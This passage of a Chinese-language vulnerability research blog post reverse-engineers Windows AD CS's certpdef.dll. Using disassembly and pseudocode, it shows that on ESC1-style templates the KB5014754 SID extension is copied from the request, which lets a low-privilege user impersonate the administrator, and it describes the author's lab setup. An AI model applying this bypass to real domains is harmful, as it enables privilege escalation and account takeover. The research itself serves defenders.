SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CertFindExtension</span></code><span leaf="">查找 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2.5.29.17</span></code><span leaf="">并遍历 GeneralNames）和一个逐名称解码器（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_18000fb2c</span></code><span leaf="">，它 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">strcmp</span></code><span leaf="">匹配 UPN OID 并提取 UPN 字符串）。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><em><span leaf="">读取和映射</span></em><span leaf="">请求上的名称。它从不写入 SID 安全扩展。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SID 标记位于上一层，在默认</span><strong><span leaf="">策略模块 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code></strong><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CertificateAuthority_MicrosoftDefault.Policy</span></code><span leaf="">）中——这是运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VerifyRequest</span></code><span leaf="">并决定哪些扩展进入签发证书的组件。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><em><span leaf="">确实</span></em><span leaf="">包含 OID 字符串：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.2</span></code><span leaf="">位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x180025590</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.2.1</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_OBJECTSID</span></code><span leaf="">）位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x1800255c0</span></code><span leaf="">。两者都只被一个函数引用：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_180012ee8</span></code><span leaf="">。那就是 KB5014754 标记写入器。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">提供名称解析原语；</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><span leaf="">做出标记决策。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个区别不仅仅是为了整洁。它意味着</span><strong><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certca.dll</span></code><span leaf="">的文件版本号无法告诉你被测试的防御是否存在</span></strong><span leaf="">——这个观点我会在实验部分再回来讲，而且如果你在验证自己的环境，也值得了解。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_180012ee8</span></code><span leaf="">以两个守卫检查开始，第二个就是整个漏洞：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">; certpdef.dll  FUN_180012ee8  (SID 标记写入器; RSI = 请求/上下文对象)</span><br/><span leaf="">180012f2d: TEST dword [RSI+0x14], 0x80000   ; 模板有 CT_FLAG_NO_SECURITY_EXTENSION？</span><br/><span leaf="">180012f34: JZ   0x180012f4d</span><br/><span leaf="">180012f42: CALL &lt;log&gt;                        ; &#34;按照模板配置跳过添加安全</span><br/><span leaf="">180012f48: JMP  0x18001318c                  ;  扩展。&#34;</span><br/><span leaf="">180012f4d: MOV  EBX, 0x1</span><br/><span leaf="">180012f52: TEST byte [RSI+0x18], BL          ; &lt;-- bit0: &#34;请求自行提供主体/扩展&#34;</span><br/><span leaf="">180012f55: JZ   0x180012ffe                  ;     bit0 == 0  -&gt; 生成调用方的 SID</span><br/><span leaf="">;   fall through                             ;     bit0 == 1  -&gt; 信任请求提供的值</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">追踪两条路径，因为它们恰好就是我的实验结果。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">生成路径</span></strong><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bit0 == 0</span></code><span leaf="">，跳转到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x180012ffe</span></code><span leaf="">）是诚实的 KB5014754 行为。它调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_18000f04c</span></code><span leaf="">获取</span><em><span leaf="">经过认证的调用方</span></em><span leaf="">的 SID 字符串，构建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.3.6.1.4.1.311.25.2.1</span></code><span leaf="">内部值，并用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_180003f78</span></code><span leaf="">写入扩展。这是应该运行的分支。它标记的是</span><em><span leaf="">你</span></em><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">信任路径</span></strong><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bit0 == 1</span></code><span leaf="">，在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x180012f5b</span></code><span leaf="">处贯穿）从不生成任何东西。它调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_180003ed4</span></code><span leaf="">来</span><em><span leaf="">读取请求已经携带的扩展</span></em><span leaf="">：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">180012f69: CALL 0x180003ed4                  ; 读取请求自带的 1.3.6.1.4.1.311.25.2</span><br/><span leaf="">180012f70: CMP  EAX, 0x80094004              ; 不存在？</span><br/><span leaf="">180012f75: JNZ  0x180012f7e</span><br/><span leaf="">180012f77: XOR  EBX, EBX                     ; -&gt; 返回成功，不标记任何内容</span><br/><span leaf="">180012f79: JMP  0x18001318c</span><br/><span leaf="">; 否则（存在）：清除一个标志位并重新设置请求提供的相同值</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对照实验来读。在信任路径上，如果请求</span><strong><span leaf="">没有</span></strong><span leaf="">SID 扩展，函数返回成功且不写入任何内容——签发的证书完全没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">szOID_NTDS_CA_SECURITY_EXT</span></code><span leaf="">。</span><strong><span leaf="">这就是实验 A，一字不差。</span></strong><span leaf="">如果请求</span><em><span leaf="">确实</span></em><span leaf="">携带了 SID，它保留请求提供的值，仅规范化一个标志位。</span><strong><span leaf="">这就是实验 B，一字不差，RID 31337 都一样。</span></strong><span leaf="">这条路径上的任何分支都不会查询经过认证的调用方的 SID。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">哪条路径运行完全由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSI+0x18]</span></code><span leaf="">的 bit 0 决定。调用方——</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FUN_18001164c</span></code><span leaf="">，即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VerifyRequest</span></code><span leaf="">扩展管道，在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x180011852</span></code><span leaf="">处调用标记写入器——基于</span><em><span leaf="">同一个</span></em><span leaf="">位进行分支：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ((*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">uint</span></span><span leaf=""> *)(param_1 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x18</span></span><span leaf="">) &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">FUN_18000e3d4</span></span><span leaf="">(...);      </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 正常路径：派生请求者身份扩展</span><br/></span><span leaf="">    ...</span><br/><span leaf="">} </span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""> {                     </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 请求自行提供的路径</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">FUN_180012780</span></span><span leaf="">(...);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">FUN_180012ee8</span></span><span leaf="">(...);      </span><span style="color: rgb(106, 115, 125);"><span leaf="">// -&gt; 标记写入器走信任分支</span><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个位就是&#34;请求自行提供主体和扩展&#34;的上下文——注册者自行提供主体的世界。设置它，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certpdef.dll</span></code><span leaf="">就跳过派生你的身份，直接信任请求，既信任主体</span><em><span leaf="">也</span></em><span leaf="">信任 SID 安全扩展。一个 ESC1 模板（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ENROLLEE_SUPPLIES_SUBJECT</span></code><span leaf="">，无 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">）通过 MS-ICPR 提交恰好落在该分支上。携带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">REQUIRE_UPN</span></code><span leaf="">的模板不会，这正是为什么攻击在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">User</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Administrator</span></code><span leaf="">上失败而在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VulnTemplate</span></code><span leaf="">上存活的原因。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">整个缺陷一句话说清楚：</span><strong><span leaf="">在注册者自行提供主体的路径上，KB5014754 的 SID 标记不是由 CA 生成的——而是从请求中复制的，而漏洞一让我可以在请求中放入任何我想要的东西。</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在让我展示它在真实硬件上以三种方式触发。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实验环境</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">没有特别的东西。一个域、一个 CA、一个 DC，加一个无名用户。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">DC01   192.168.0.110   Server 2019  17763.8511</span><br/><span leaf="">SRV03  192.168.0.123   企业 CA  SILENTSTRIKE-SRV03-CA</span><br/><span leaf="">攻击者  cmctest / &lt;已隐去&gt;</span><br/><span leaf="">        SID  S-1-5-21-12494900-2147801102-4061876462-1135</span><br/><span leaf="">        组：Domain Users，仅此而已</span><br/><span leaf="">目标    administrator</span><br/><span leaf="">        SID  S-1-5-21-12494900-2147801102-4061876462-500</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三个前提条件，所有人都希望看到证据而非断言，所以这里给出证据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">DC 处于完全强制模式。</span></strong><span leaf="">从注册表读取，不是凭信任：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">PS C:\</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-ItemProperty</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;HKLM:\SYSTEM\CurrentControlSet\Services\Kdc&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name StrongCertificateBindingEnforcement</span><br/><span leaf="">StrongCertificateBindingEnforcement : </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 